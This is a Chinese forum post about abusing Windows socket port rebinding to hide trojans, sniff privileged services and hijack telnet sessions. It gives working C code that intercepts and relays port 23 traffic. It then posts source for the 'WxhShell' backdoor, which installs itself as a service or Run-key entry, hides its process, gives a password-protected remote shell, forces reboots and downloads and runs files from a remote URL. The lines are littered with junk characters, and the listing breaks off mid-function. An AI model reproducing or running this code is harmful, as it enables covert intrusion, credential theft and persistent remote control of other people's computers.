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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z)58\rtz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %k3NT~  
,YP1$gj  
  saddr.sin_family = AF_INET; PwFQ#Z  
6?1s`{yy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Sc;iAi (  
Ie G7@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p@?7^nIR*u  
3d,-3U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <&qpl0U)Y  
laUu"cS  
  这意味着什么?意味着可以进行如下的攻击: 3bbp>7V!  
;Pol#0_(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E3 ~,+68U  
rxs~y{ Xi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z&+NmOY4  
/v}P)&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w?]ZU-  
e-[>( n/[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B`?N,N"  
Af2=qe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Fb<n0[m  
]&Y#) ebs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7=7!| UV  
Hv8SYQ|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,s1&O`  
$$haVY&  
  #include zAeGkP~K  
  #include 9">zdFC'  
  #include {l&Ltruhz  
  #include    =y)p>3p}&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1%$d D2  
  int main() &Q\_;  
  { ! (2-(LgA  
  WORD wVersionRequested; 9 9Ba{qj  
  DWORD ret; ]]el|  
  WSADATA wsaData; E S#rs="  
  BOOL val; u~$WH, P3  
  SOCKADDR_IN saddr; pyUNRqp  
  SOCKADDR_IN scaddr; iBG`43;  
  int err; XXa(305  
  SOCKET s; a{<p '_  
  SOCKET sc; >Y7r \  
  int caddsize; C>*5=p|T  
  HANDLE mt; 6-mmi7IfO  
  DWORD tid;   N=OS\pz  
  wVersionRequested = MAKEWORD( 2, 2 ); )>(L{y|uYX  
  err = WSAStartup( wVersionRequested, &wsaData ); gKmX^A5<  
  if ( err != 0 ) { -Qg 2qN2{  
  printf("error!WSAStartup failed!\n"); |0tg:\.  
  return -1; ./5jx2V  
  } 7m@ )Lv  
  saddr.sin_family = AF_INET; Ihdu1]~R{  
   V -q%r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E|pk.  
3^!Hl8P7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q Oz9\,C  
  saddr.sin_port = htons(23); 6exRS]BI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oS~}TR:}  
  { C@*%AY  
  printf("error!socket failed!\n"); w+q?T  
  return -1; %oAL  
  } g(m xhD!k  
  val = TRUE; zL9VR;q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~}h^38  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,5/V@;i  
  { q.-y)C) ;  
  printf("error!setsockopt failed!\n"); -@rxiC:Q  
  return -1; ?Q@L-H`  
  } HV ;;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D,MyI#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ej' 7h~=v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z`rK\Bc  
>4,{6<|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) } <SNO)h3  
  { vKU`C?,L  
  ret=GetLastError(); yc*<:(p  
  printf("error!bind failed!\n"); >B0D/:R9  
  return -1; |Dg;(i?  
  } , Hn7(^t  
  listen(s,2);  VJ3hC[  
  while(1) $Z/klSEf  
  { pFpZbU^  
  caddsize = sizeof(scaddr); (Up'$J}  
  //接受连接请求 #e*X0;m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ejq=*UOP  
  if(sc!=INVALID_SOCKET) ]$3+[9x'  
  { mV<i JZh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CoJ55TAW  
  if(mt==NULL)  2A*/C7  
  { G-arnu)  
  printf("Thread Creat Failed!\n"); !(Q l)C  
  break; nB=0T`vQ  
  } NUMi])HkN  
  } 3@G;'|z  
  CloseHandle(mt); -&imjy<  
  } F<5nGx cC  
  closesocket(s); " 9qp "%  
  WSACleanup(); 9SY(EL  
  return 0;  JX{KYU  
  }   3w Z(+<4i  
  DWORD WINAPI ClientThread(LPVOID lpParam) i|%5  
  { ^\:yf.k  
  SOCKET ss = (SOCKET)lpParam; a'uU,Eb}#w  
  SOCKET sc; /KAlK5<  
  unsigned char buf[4096]; ?yp0$r/  
  SOCKADDR_IN saddr; _ENuwBYW-  
  long num; en>9E.?N  
  DWORD val; s;J\Kc?"|  
  DWORD ret; m=QCG)s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vh &GIb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VpSEVd:n  
  saddr.sin_family = AF_INET; CN/IH   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @;m$ua*|:  
  saddr.sin_port = htons(23); ;`kWpM;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W}h|K:-S  
  { 84'?u m  
  printf("error!socket failed!\n"); O-j$vzHpdY  
  return -1; 1~'_K9eE  
  } |q_ !. a  
  val = 100; ('t kZt%8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >!}`%pk(  
  { t^.'>RwW|  
  ret = GetLastError(); )Pli})   
  return -1; M-Y0xWs  
  } &8sV o@Pa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5[4Z=RP  
  { XrS\+y3  
  ret = GetLastError(); ) r9b:c\  
  return -1; o 7G> y#Y  
  } f jI#-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cOkgoL" 4  
  { H?uukmZl  
  printf("error!socket connect failed!\n"); !%xP}{(7  
  closesocket(sc); '"'Btxz  
  closesocket(ss); H] k'?;  
  return -1; ^Dr.DWi{$  
  } 3sFeP &  
  while(1) cx^{/U?9}  
  { `U{mbw,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Pr+~Kif  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C c*( {  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HR60   
  num = recv(ss,buf,4096,0); ;LRW 8Wd  
  if(num>0) M$A#I51  
  send(sc,buf,num,0); iCTQ]H3  
  else if(num==0) 7yI`e*EOD  
  break; Z)&D`RCf  
  num = recv(sc,buf,4096,0); =-~;OH /  
  if(num>0) EA|k5W*b  
  send(ss,buf,num,0); (R'+jWH  
  else if(num==0) O"*`'D|hK  
  break; ni6r{eSQ  
  } 2yKz-"E  
  closesocket(ss); sS!w}o2X  
  closesocket(sc); &[@\f^~  
  return 0 ; k=/eM$":  
  } g{>^`JtP  
B8m_'!;;  
H{V)g  
========================================================== nxaT.uFd1  
h1+ hds+  
下边附上一个代码,,WXhSHELL (ZP87Gz  
->E=&X  
========================================================== Ue$zH"w  
9s`/~ a@  
#include "stdafx.h" Bux'hc  
j7 d:v7+_  
#include <stdio.h> J!h^egP  
#include <string.h> <y)E>Fl  
#include <windows.h> phP> 3f.T  
#include <winsock2.h> M3pjXc<O  
#include <winsvc.h> f v LC_'M  
#include <urlmon.h> 4_LQ?U>$  
#Qbl=o4  
#pragma comment (lib, "Ws2_32.lib") '#Dg8/r!  
#pragma comment (lib, "urlmon.lib") &Un6ay  
PuXUuJx(  
#define MAX_USER   100 // 最大客户端连接数 ,P6=~q3k  
#define BUF_SOCK   200 // sock buffer aMK~1]Cx  
#define KEY_BUFF   255 // 输入 buffer V5"HwN+`  
dqe7sZl!  
#define REBOOT     0   // 重启 X=~V6m  
#define SHUTDOWN   1   // 关机 b |7ja_  
1;&;5  
#define DEF_PORT   5000 // 监听端口 =Q(vni83<  
DjHp+TyT  
#define REG_LEN     16   // 注册表键长度 4v dNMV~  
#define SVC_LEN     80   // NT服务名长度 'iUg[{'+  
&uM^0eM  
// 从dll定义API GXX+}=b7qO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SwH2$:f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f9TV%fG?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); & ,L9OU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xx8U$,Ng  
_:J*Cm[q  
// wxhshell配置信息 Z$'I Bv  
struct WSCFG { [@"wd_f{l  
  int ws_port;         // 监听端口 Owf.f;QR  
  char ws_passstr[REG_LEN]; // 口令 c ~F dx  
  int ws_autoins;       // 安装标记, 1=yes 0=no naNyGE7)  
  char ws_regname[REG_LEN]; // 注册表键名 N[U9d}Zv  
  char ws_svcname[REG_LEN]; // 服务名 >dQK.CG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bct"X#W|&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SH8/0g?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^J x$t/t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hI|)u4q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $'"8QOnJ?k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I@ \#up}  
"5!BU&   
}; .q;ED`G  
Hl7:*]l7b  
// default Wxhshell configuration ijUzC>O+q  
struct WSCFG wscfg={DEF_PORT, >V;,#5F_  
    "xuhuanlingzhe", Llz[ '"m  
    1, HDIk9WC^  
    "Wxhshell", UUtbD&\  
    "Wxhshell", <I=$ry6 8  
            "WxhShell Service", Lz4eh WntO  
    "Wrsky Windows CmdShell Service", Bw< rp-  
    "Please Input Your Password: ", Z1,gtl ?  
  1, Hs0pW5oZ  
  "http://www.wrsky.com/wxhshell.exe", >q7 %UK]&  
  "Wxhshell.exe" 68t}w^=  
    }; gPEqjj  
y,m2(V  
// 消息定义模块 H{fM%*w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6)*xU|fU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $=aI "(3&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; or?%-)  
char *msg_ws_ext="\n\rExit."; X K>&$<5{  
char *msg_ws_end="\n\rQuit."; t\R; < x  
char *msg_ws_boot="\n\rReboot..."; 61K"(r~  
char *msg_ws_poff="\n\rShutdown..."; ..KwTf  
char *msg_ws_down="\n\rSave to "; K5"sj|d&  
3|kgTB-  
char *msg_ws_err="\n\rErr!"; 'BqZOZw  
char *msg_ws_ok="\n\rOK!"; (f1M'w/OD  
Fhj8lVvk  
char ExeFile[MAX_PATH]; [}o~PN:sT(  
int nUser = 0; k%Vv?{g  
HANDLE handles[MAX_USER]; H\G{3.T.9  
int OsIsNt; jqcz\n d  
/"#4T^7&  
SERVICE_STATUS       serviceStatus; (ku5WWJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z(Q2Ue;}&  
\t.}-u<7{  
// 函数声明 4j'd3WGpbN  
int Install(void); ' UMFS  
int Uninstall(void); faJM^u  
int DownloadFile(char *sURL, SOCKET wsh); kE)!<1yy2  
int Boot(int flag); 8{I"q[GZ  
void HideProc(void); FY#!N L  
int GetOsVer(void); =@r--E  
int Wxhshell(SOCKET wsl); ?nFO:N<  
void TalkWithClient(void *cs); "mIgs9l$  
int CmdShell(SOCKET sock); zlf} .  
int StartFromService(void); Hi,t@!!  
int StartWxhshell(LPSTR lpCmdLine); ffcLuXa  
h)x_zZ%>o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RA/EpD:H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d@kc[WLD^  
FJS'G^  
// 数据结构和表定义 G=d(*+& B  
SERVICE_TABLE_ENTRY DispatchTable[] = 5nLDj:C~  
{ jBtj+ TL8  
{wscfg.ws_svcname, NTServiceMain}, UpUp8%fCU  
{NULL, NULL} <' m6^]:  
}; clDHTj=~  
@LX6hm*}  
// 自我安装 M]EsS^/X  
int Install(void) )pgrl  
{ `y!/F?o+!  
  char svExeFile[MAX_PATH]; >-cfZ9{!  
  HKEY key; &a)vdlZSE=  
  strcpy(svExeFile,ExeFile); kU*{4G|6  
grcbH  
// 如果是win9x系统,修改注册表设为自启动 >SI<rR[~%  
if(!OsIsNt) { JWHS nu!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r|R7- HI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;#anZC;  
  RegCloseKey(key); 8L{u}|{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h/ep`-YaH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D-ADv3E,  
  RegCloseKey(key); I4e+$bU3  
  return 0; ^^?q$1k6r*  
    } l},NcPL`  
  } <n0{7#PDqw  
} hKe30#:v  
else { yfe'>]7  
%%}A|,  
// 如果是NT以上系统,安装为系统服务 lpC @I^:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &=q! Wdw~  
if (schSCManager!=0) 9`Q@'( m  
{ IB$7`7  
  SC_HANDLE schService = CreateService jj&s} _75  
  ( q~Jq/E"f  
  schSCManager, SS3-+<z  
  wscfg.ws_svcname, n9UKcN-  
  wscfg.ws_svcdisp, 3'eG ;<F  
  SERVICE_ALL_ACCESS, v 1.*IV5Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rU\[SrIhz  
  SERVICE_AUTO_START, <@#PF$!  
  SERVICE_ERROR_NORMAL, 2C "=!'  
  svExeFile, M<`|CVl  
  NULL, _j ;3-m  
  NULL, +"!aM?o  
  NULL, B;t=B_oK  
  NULL, E_:QSy5G  
  NULL .{so  
  ); 1mW%  
  if (schService!=0) oyeG$mpg  
  { YD_]!HK}  
  CloseServiceHandle(schService); %'ZN`XftG  
  CloseServiceHandle(schSCManager); < oI8-f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AXW!]=?X  
  strcat(svExeFile,wscfg.ws_svcname); :)c80`-E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]7/gJ>g,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f(:1yl\a  
  RegCloseKey(key); 3N4.$#>#9@  
  return 0; Y E1Hpeb  
    } 9){  
  } 3Sh+u>w  
  CloseServiceHandle(schSCManager); _<Dt z  
} (JZ".En#X  
} l5O=VqCj  
o /p-!  
return 1; FC>d_=V  
} #g v4  
+;gsRhWk  
// 自我卸载 ?pwE0N^  
int Uninstall(void) @.$MzPQQI  
{ );JJ2Jlkd  
  HKEY key; - q@69q  
.[j%sGdKl  
if(!OsIsNt) { v'9m7$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Ui_ O  
  RegDeleteValue(key,wscfg.ws_regname); |nxdB&1n  
  RegCloseKey(key); 5 2Hqu>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mq\~`8V  
  RegDeleteValue(key,wscfg.ws_regname); '044Vm;/  
  RegCloseKey(key); ]PS\#I}  
  return 0; z +VV}:Q  
  } G[yI*/E;  
} p@I9< ^"  
} h)dRR_  
else { /1.rz{wpb  
U{#xW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b9("DZW;  
if (schSCManager!=0) \ P/W8{  
{ kC$I2[t!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O|z%DkH[  
  if (schService!=0) '}{?AUDx  
  { u-><}OVf~  
  if(DeleteService(schService)!=0) { BQNp$]5s  
  CloseServiceHandle(schService); `,#!C`E 9  
  CloseServiceHandle(schSCManager); uHvaZMu  
  return 0; bZ5n,KQA5  
  } 3% vis\~^  
  CloseServiceHandle(schService); XB/'u39  
  } T33|';k  
  CloseServiceHandle(schSCManager); u''BP.Y S  
} ==9ZFdf  
} @ss):FwA  
+R\~3uj[7  
return 1; |63Y >U"  
} Tg''1 Wl*  
jnBC;I[:  
// 从指定url下载文件 o)I/P<  
int DownloadFile(char *sURL, SOCKET wsh) {LB`)Kuu  
{ buY D l  
  HRESULT hr; _s>^?x}  
char seps[]= "/"; 3,$iG e  
char *token; WU\m^!`w=F  
char *file; 5gK~('9'?1  
char myURL[MAX_PATH]; nCaLdj?  
char myFILE[MAX_PATH]; 5*j:K&R-.K  
NMXM[Ukb  
strcpy(myURL,sURL); ]w22@s  
  token=strtok(myURL,seps); T$c+m\j6  
  while(token!=NULL) 8 /m3+5  
  { ^H=o3#P~L  
    file=token; hyu}}0:  
  token=strtok(NULL,seps); _*`q(dYcf  
  } !~J WYY  
W_JhNe  
GetCurrentDirectory(MAX_PATH,myFILE); z,+m[x=/N  
strcat(myFILE, "\\"); FfYsSq2l  
strcat(myFILE, file); +by|  
  send(wsh,myFILE,strlen(myFILE),0); !: |nI77|  
send(wsh,"...",3,0); 8=4^Lm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fM:80bn L+  
  if(hr==S_OK) 2OCdG  
return 0; RKe?.  
else [%~NM/xu<  
return 1; shK&2Noan  
t2.juoI(  
} pqfT\Kb>  
l<N?'&  
// 系统电源模块  -$R5  
int Boot(int flag) P"Rk?lL  
{ 4  
  HANDLE hToken; z7q%,yw3N  
  TOKEN_PRIVILEGES tkp; (xUFl@I!  
SALCuo"L  
  if(OsIsNt) { { _X#fq0}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vnZ/tF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3@HIpQM3  
    tkp.PrivilegeCount = 1; Pz {Ig  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7'UWRRsxUF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |"\lL9CT  
if(flag==REBOOT) { W-XN4:,qI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8A_TIyh?  
  return 0; )"~=7)~<^  
} V"g~q?@F  
else { R `Q?J[e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k4mTZ}6E  
  return 0; _z%\'(l+  
} GfNWP  
  } h@Dw'w  
  else { W_D%|Ub2X  
if(flag==REBOOT) { V*uEJ6T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ee\Gl?VN  
  return 0; YiNo#M91  
} I,9~*^$  
else { @`2ozi~lO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ] - h|]  
  return 0; c}\ d5R_L  
} -;S3|  
} F]SIT\kBm  
c8\g"T  
return 1; skSNzF7'  
} `#<eA*^g5  
0k7"H]J  
// win9x进程隐藏模块 C=EhY+5  
void HideProc(void) 8fEAYRGd  
{ c0hdLl;5  
eo]a'J9(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x"!#_0TT}  
  if ( hKernel != NULL ) GiFf0c 9  
  { J ZNyC!u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 98ayA$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uTUa4 ^]*  
    FreeLibrary(hKernel); ]Y$&78u8t  
  } o"f%\N0_8  
{{GHzW  
return; LVWxd}0  
} yOM -;h  
h!~|6nj  
// 获取操作系统版本 "pl[(rc+u  
int GetOsVer(void) %rX\ P  
{ [L)V(o)v  
  OSVERSIONINFO winfo; Z%A<#%    
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ":z@c,  
  GetVersionEx(&winfo); Xe> ~H4I9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a1 _o.A  
  return 1; AF QnCl Of  
  else Q!Msy<v  
  return 0; >sB=\  
} LsUFz_  
[)bz6\d[  
// 客户端句柄模块 oRV] p  
int Wxhshell(SOCKET wsl) l.yJA>\24I  
{ #C'o'%!(  
  SOCKET wsh; Q0_M-^~WT  
  struct sockaddr_in client;  !zF4 G,W  
  DWORD myID; UU-v;_oP  
}v,W-gA  
  while(nUser<MAX_USER) yqC+P  
{ ~F=#}6kg_  
  int nSize=sizeof(client); 8UlB~fVg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .Wd.) ^?  
  if(wsh==INVALID_SOCKET) return 1; E)RI!0Ra  
:v''"+\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,!8*g[^O  
if(handles[nUser]==0) 4bFv"b  
  closesocket(wsh); Zu)i+GeG  
else Qdh"X^^  
  nUser++; GF9ZL  
  } moZ)|y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |ORmS& 7  
v] W1F,u  
  return 0; ~x9 W{B]  
} deHY8x5uI  
oR4fK td  
// 关闭 socket iRkOH]+K  
void CloseIt(SOCKET wsh) 0<6rU  
{ .[]{ Q  
closesocket(wsh); Y!Usce  
nUser--; LZ3rr-  
ExitThread(0); q^Q|.&_k /  
} M ^ 0w/  
Ma n^\gkCi  
// 客户端请求句柄 b0rt.XB  
void TalkWithClient(void *cs) Z 5{*? 2  
{ |F8;+nAVF#  
$@lq}FQ%  
  SOCKET wsh=(SOCKET)cs; ~Q3WBOjn  
  char pwd[SVC_LEN]; O1l4gduN|i  
  char cmd[KEY_BUFF]; Q';\tGy  
char chr[1]; 5EVB27k  
int i,j; }39M_4a&  
DtI%-I.  
  while (nUser < MAX_USER) { rin >r0o  
 -fx(H+  
if(wscfg.ws_passstr) { S]Yu6FtWiO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Ba|J"?Y k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n-L]YrDPK[  
  //ZeroMemory(pwd,KEY_BUFF); K gR1El. r  
      i=0; HCfS)`  
  while(i<SVC_LEN) { hqwz~Ky}  
3ZT/>a>@  
  // 设置超时 0e[ tKn(  
  fd_set FdRead; 5)/4)0  
  struct timeval TimeOut; c"oQ/x  
  FD_ZERO(&FdRead); ]l9,t5Y  
  FD_SET(wsh,&FdRead); s\F EA"w/  
  TimeOut.tv_sec=8;  3D[:Rf[  
  TimeOut.tv_usec=0; qP%Smfp6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4n `[SN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vV\/pu8  
UU;Y sj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y2ah zB  
  pwd=chr[0]; s /k  
  if(chr[0]==0xd || chr[0]==0xa) { ?eY chVq  
  pwd=0; eB}sg4  
  break; m bB\~n  
  } uL qpbn  
  i++; oj,Vi-TZ  
    } -wG[>Y  
^mQ;CMV  
  // 如果是非法用户,关闭 socket 4#'^\5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6c;?`C  
} 'T #<OR  
(STWAwK-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TZ`]#^kU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p~k`Z^ xY$  
hx2!YNx !  
while(1) { reD[j,i&t.  
&?uzJx~  
  ZeroMemory(cmd,KEY_BUFF); s\n,Z?m  
yE!7`c.[u  
      // 自动支持客户端 telnet标准   b ?=  
  j=0; gFH;bZU  
  while(j<KEY_BUFF) { V2<k0@y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _bvtJZ3i  
  cmd[j]=chr[0]; yF [@W<  
  if(chr[0]==0xa || chr[0]==0xd) { )BMWC k  
  cmd[j]=0; l{%Op\  
  break; $6]x,Ct  
  } U:T5o]P<  
  j++; cZ7F1H~  
    } b5iJ m-  
SOi(5]  
  // 下载文件 ]#WX|0''^  
  if(strstr(cmd,"http://")) { Hme@9(zD.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SFm.<^6  
  if(DownloadFile(cmd,wsh)) z!uB&2C{k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55jY` b .  
  else -* -zU#2|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ix_$Ok  
  } LRLhS<9  
  else { uDMUy"8&!  
B'[3kJ'  
    switch(cmd[0]) { &_Xv:?  
  "KQ\F0/  
  // 帮助 o*5e14W(:  
  case '?': { ~[bMfkc3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G~mB=]  
    break; E l8.D3  
  }  Lqf#,J  
  // 安装 83O^e&Bt  
  case 'i': { hPCSLJ  
    if(Install()) ZLFdnC@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J{'zkR?Lr  
    else $=6kh+n@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EJSgTtp 2  
    break; ^FpiQF  
    } =[CS2VQ'  
  // 卸载 jP{]LJ2.6\  
  case 'r': { <:_]Yl  
    if(Uninstall()) k)4lX|}Vm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ";!1(xZr  
    else hG0lR.:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e"&9G}.f  
    break; ]|\>O5eeu  
    } ct4)faM  
  // 显示 wxhshell 所在路径 /%@RO^P  
  case 'p': { &@.=)4Y  
    char svExeFile[MAX_PATH]; 8Jly! =Qm5  
    strcpy(svExeFile,"\n\r"); +cplM5X  
      strcat(svExeFile,ExeFile); L"zgBB?K6  
        send(wsh,svExeFile,strlen(svExeFile),0); e]y=]}A3{  
    break; 4mg 7f^[+  
    } 36Fa9P FCc  
  // 重启 T_|fb)G+{  
  case 'b': { <45dy5!Tz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2K7:gd8Ru  
    if(Boot(REBOOT)) aN);P>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]oZ,{Q5~  
    else { i|! 9o:  
    closesocket(wsh); sMe~C>RD  
    ExitThread(0); onypwfIk)t  
    } "8Wc\YDh  
    break; pU)3*9?cIl  
    } !j\&BAxTEk  
  // 关机 {bsr 9.k(  
  case 'd': { eRWF7`HH+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W*WH .1&  
